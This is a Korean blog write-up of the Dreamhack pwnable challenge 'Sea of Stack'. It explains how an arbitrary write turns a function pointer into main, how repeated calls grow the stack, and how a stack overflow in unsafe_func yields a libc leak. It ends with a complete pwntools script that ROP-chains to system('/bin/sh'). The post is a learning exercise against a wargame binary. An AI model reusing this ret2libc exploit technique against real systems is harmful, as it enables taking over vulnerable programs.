[Dreamhack] Sea of Stack

Merry Berry·2025년 1월 31일
0

Pwnable&Reversing

목록 보기
8/9

https://dreamhack.io/wargame/challenges/621

코드 분석

메인 함수는 위와 같이 생겼다. read_input(), read_number() 함수로 값을 읽어 동작한다. 먼저 16byte 문자열을 읽어 "Decision2Solve"와 동일한지 확인하고, 동일하다면 AAW가 가능하다.

그리고 숫자를 입력받는데, 입력 값이 1이냐 2냐에 따라 safe_func(), unsafe_func() 함수를 호출한다. 이때 safesafe_func() 함수의 주소를 저장한 전역 변수이고, unsafeunsafe_func() 함수의 주소를 저장한 전역 변수이다.

read_input() 함수는 정확히 두 번째 인자로 입력받은 크기만큼을 읽으려 한다. 즉 두 번째 인자가 16이면, 사용자가 16byte를 입력할 때까지 대기한다.

read_number() 함수는 입력된 문자열을 숫자로 바꾸어주는 함수다.

safe_func() 함수는 취약한 부분이 없는 안전한 함수다.

반면 unsafe_func() 함수는 Stack BOF가 발생한다. 이때 0x10000byte만큼 값을 입력받는다.

시도 1. 바로 unsafe_func() 호출

문제를 처음 봤을 때 가장 먼저 시도한 것은 unsafe_func() 함수를 바로 호출해보는 것이었다. 하지만 이는 SEGFAULT를 유발하게 되는데, 그 이유는 스택 영역이 0x10000보다 작기 때문이다. 따라서 unsafe_func()를 호출하기 전에 스택의 크기를 늘릴 필요가 있다.

시도 2. main() 반복 호출

앞서 "Decision2Solve" 입력을 통해 AAW가 가능하다고 했다. 이때 safe 변수의 값을 main() 함수의 주소로 변경한 후 1을 입력하면, safe_func()가 아닌 main() 함수가 호출된다. 이때 main() 함수의 프롤로그의 반복으로, 매 번 스택의 크기가 0x30 만큼 증가한다.

Leak libc base

충분한 크기로(>0x10000) 스택 영역을 확장했다면, unsafe_func() 함수를 이용해 libc base를 leak한다. GOT 영역을 읽으며, 가젯은 pop rdi; nop; pop rbp; ret을 이용한다. 필요하면 ret 가젯도 이용한다.

페이로드의 구성은 위와 같다. puts@got 주소를 인자로 puts() 함수를 호출해 puts() 함수의 주소를 출력시킨다. 그리고 차후의 익스플로잇을 위해 unsafe_func()를 한 번 더 호출한다.

system("/bin/sh")

위 과정에서 libc base를 leak했으므로, system() 함수와 /bin/sh 문자열의 주소를 알 수 있다. 그리고 libc base를 leak했을 때 사용한 가젯으로 rdi 레지스터를 /bin/sh 문자열의 주소로 조작한 후 system() 함수의 코드로 리턴하도록 한다. 이때 stack alignment가 안 맞아 system() 함수 내부에서 SEGFAULT가 발생하면, ret 가젯을 추가하도록 한다.

페이로드 구성은 위와 같다.

익스플로잇 코드

from pwn import *

p = process('./prob')
e = ELF('./prob')
libc = ELF('./libc.so.6')

pop_rdi_rbp_ret = 0x40129b
ret = 0x40101a

# safe = main()
p.sendafter(b'heart.\n> ', b'Decision2Solve\x00\x00')

p.send(p64(e.symbols['safe']))
p.send(p64(e.symbols['main'])[:6])
p.sendafter(b'func\n> ', b'1')

# stack expansion > 0x10000
for _ in range(0x400):
        print('.', end='', flush=True)
        p.sendafter(b'heart.\n>', b'A'*16)
        p.sendafter(b'func\n>', b'1') # safe

print()

# call unsafe_func()
p.sendafter(b'heart.\n> ', b'A'*16)
p.sendafter(b'func\n> ', b'2') # unsafe

# leak libc base
# call puts(puts@got) using ROP
payload = b'A'*0x20 + b'B'*0x8
payload += p64(pop_rdi_rbp_ret) + p64(e.got['puts']) + b'C'*0x8
payload += p64(e.plt['puts'])
payload += p64(e.symbols['unsafe_func']) # call unsafe_func()
payload = payload.ljust(0x10000, b'\x00')

p.send(payload)
print('send the first payload size of 0x10000')

# calculate the address of "/bin/sh", system()
puts_addr = u64(p.recvline()[:-1].ljust(0x8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + 0x1d8698
print("puts():", hex(puts_addr))
print("libc base:", hex(libc_base))

# call system("/bin/sh") using ROP
payload = b'A'*0x20 + b'B'*0x8
payload += p64(pop_rdi_rbp_ret) + p64(binsh_addr) + b'C'*0x8
payload += p64(ret) + p64(system_addr)
payload = payload.ljust(0x10000, b'\x00')

p.send(payload)
print('send the second payload size of 0x10000')

p.interactive()

0개의 댓글